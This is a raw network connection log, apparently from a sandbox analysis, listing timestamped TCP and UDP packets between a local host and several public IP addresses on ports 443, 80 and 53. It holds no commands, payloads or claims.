Jan 14, 2025 17:23:12.259501934 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.259519100 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259555101 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.259812117 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259871006 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259908915 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259911060 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.259923935 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.259958982 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.259964943 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.260011911 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.260050058 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.260224104 CET	49776	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.260237932 CET	443	49776	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.283341885 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.283407927 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.283471107 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.283699989 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.283713102 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.744122028 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.744415045 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.744447947 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.744745016 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.745110989 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.745110989 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.745131969 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.745176077 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.792092085 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.885478020 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.885560989 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:12.886852026 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:12.886852026 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:13.199359894 CET	49777	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:13.199403048 CET	443	49777	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:15.538772106 CET	443	49753	142.250.185.196	192.168.2.4
Jan 14, 2025 17:23:15.538929939 CET	443	49753	142.250.185.196	192.168.2.4
Jan 14, 2025 17:23:15.539366007 CET	49753	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:23:16.528026104 CET	49753	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:23:16.528098106 CET	443	49753	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:04.558537006 CET	49732	80	192.168.2.4	2.17.190.73
Jan 14, 2025 17:24:04.580004930 CET	80	49732	2.17.190.73	192.168.2.4
Jan 14, 2025 17:24:04.580126047 CET	49732	80	192.168.2.4	2.17.190.73
Jan 14, 2025 17:24:04.847311020 CET	51195	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:24:04.852296114 CET	53	51195	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:04.852391005 CET	51195	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:24:04.852428913 CET	51195	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:24:04.857165098 CET	53	51195	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:05.043688059 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:05.043723106 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.043837070 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:05.044054031 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:05.044063091 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.296475887 CET	53	51195	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:05.297343016 CET	51195	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:24:05.302445889 CET	53	51195	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:05.302515030 CET	51195	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:24:05.673654079 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.674010992 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:05.674046993 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.674344063 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.674601078 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:05.674664974 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:05.730062962 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:15.620578051 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:15.620713949 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:24:15.620763063 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:16.531740904 CET	51197	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:24:16.531788111 CET	443	51197	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.106573105 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:05.106652021 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.106769085 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:05.107139111 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:05.107172966 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.776195049 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.776520014 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:05.776546955 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.777046919 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.777631044 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:05.777738094 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:05.824081898 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:12.308659077 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.308706999 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.308775902 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.309067011 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.309078932 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.780801058 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.781615973 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.781636953 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.782097101 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.783196926 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.783272982 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.783711910 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.831342936 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.933859110 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.933969021 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934005976 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934026003 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.934031963 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934045076 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934077978 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.934154034 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934190035 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934217930 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934223890 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.934230089 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.934318066 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.939776897 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.939834118 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.939877033 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:12.939882040 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:12.940001011 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.023912907 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.023978949 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024015903 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024051905 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024065971 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.024085045 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024194956 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.024321079 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024379015 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024390936 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.024395943 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024502039 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.024512053 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.024605989 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.025608063 CET	51387	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.025619030 CET	443	51387	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.034024000 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.034063101 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.034147024 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.034408092 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.034421921 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.489017010 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.489406109 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.489418983 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.489897013 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.490272999 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.490350008 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.490437031 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.531339884 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.649986982 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650125027 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650165081 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650187016 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.650199890 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650237083 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.650245905 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650312901 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650357008 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.650362968 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.650799036 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.651021004 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.651026964 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.656707048 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.656758070 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.656826973 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.656835079 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.656980991 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.736721039 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737040043 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737080097 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737083912 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.737099886 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737149954 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737158060 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.737164021 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737243891 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.737251043 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737888098 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.737925053 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738003016 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.738009930 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738079071 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.738409042 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738636971 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738672972 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738701105 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.738707066 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.738888979 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.739304066 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.739372015 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.739411116 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.739455938 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.739465952 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.739470959 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.739630938 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.740210056 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.740273952 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.740299940 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.740305901 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.740370989 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.740375996 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.776416063 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.776588917 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.776607990 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.822818995 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.822920084 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.822940111 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.822961092 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.823057890 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.823065042 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.823164940 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.823184013 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.823251963 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.823259115 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.824671984 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.824767113 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.824788094 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.824799061 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.825009108 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.825457096 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.825670004 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.825860977 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.825953960 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.825980902 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.825989962 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.826042891 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.826095104 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.826715946 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.826802969 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.826931953 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.827014923 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.827682018 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.827771902 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.827805042 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.827925920 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.828857899 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.828949928 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.828978062 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.828984022 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.829014063 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.829237938 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.830032110 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.830127001 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.830153942 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.830159903 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.830214977 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.908531904 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.908662081 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.908689976 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.908704042 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.908845901 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.908849955 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.908934116 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.909420967 CET	51388	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:13.909435987 CET	443	51388	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:13.917423010 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:13.917459011 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:13.917582035 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:13.918488979 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:13.918504000 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.069251060 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.069293022 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.069395065 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.069689989 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.069704056 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.388611078 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.449034929 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.459275007 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.459301949 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.460773945 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.461136103 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.461260080 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.461332083 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.513880014 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.541568995 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.591669083 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.591821909 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.591917992 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.591983080 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.592017889 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592071056 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.592080116 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592180967 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592225075 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.592230082 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592345953 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592390060 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.592395067 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592504978 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.592550993 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.592556000 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.593647003 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.597012997 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.597029924 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.598387003 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.599212885 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.599435091 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.612484932 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.612597942 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.612658978 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.635294914 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.635339975 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.656637907 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.656749010 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.656809092 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.656840086 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.656868935 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.656898975 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.657030106 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.657073975 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.657098055 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.679670095 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.679766893 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.679847956 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.679853916 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.679877043 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.679896116 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.680039883 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680084944 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.680095911 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680212021 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680298090 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.680300951 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680327892 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680399895 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.680694103 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680879116 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.680934906 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.680944920 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.681042910 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.681090117 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.681098938 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.681648970 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.681704044 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.681713104 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.731746912 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.731781960 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.744821072 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.744910002 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.744987965 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.744997978 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.745019913 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.745050907 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.745150089 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.745203018 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.745233059 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746001959 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746036053 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746076107 CET	51389	443	192.168.2.4	104.18.95.41
